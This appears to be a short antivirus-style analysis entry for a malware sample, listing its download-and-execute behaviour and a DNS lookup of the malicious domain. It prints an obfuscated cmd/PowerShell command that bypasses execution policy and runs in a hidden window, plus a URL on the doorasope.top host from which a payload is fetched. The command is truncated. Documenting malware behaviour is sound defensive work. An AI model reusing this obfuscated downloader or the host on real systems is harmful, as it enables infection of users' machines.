Technical Information
Malicious functions
Downloads and executes
- http://www.doorasope.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "powE^Rs^H^El^l.^ExE^ -EXeCuTi^oNpo^L^i^CY^ ByPA^SS ^-^N^o^PROFil^e^ ^-WI^NDOWSt^yl^E^ ^HIDd^EN ^(^NeW^-Obje^ct SysTem^.NET.^wEb^CLi^ent)^.Dow^NL^OADfI^le^(^'http://www.door...
Network activity
UDP
- DNS ASK do###sope.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "powE^Rs^H^El^l.^ExE^ -EXeCuTi^oNpo^L^i^CY^ ByPA^SS ^-^N^o^PROFil^e^ ^-WI^NDOWSt^yl^E^ ^HIDd^EN ^(^NeW^-Obje^ct SysTem^.NET.^wEb^CLi^ent)^.Dow^NL^OADfI^le^(^'http://www.door...' (with hidden window)
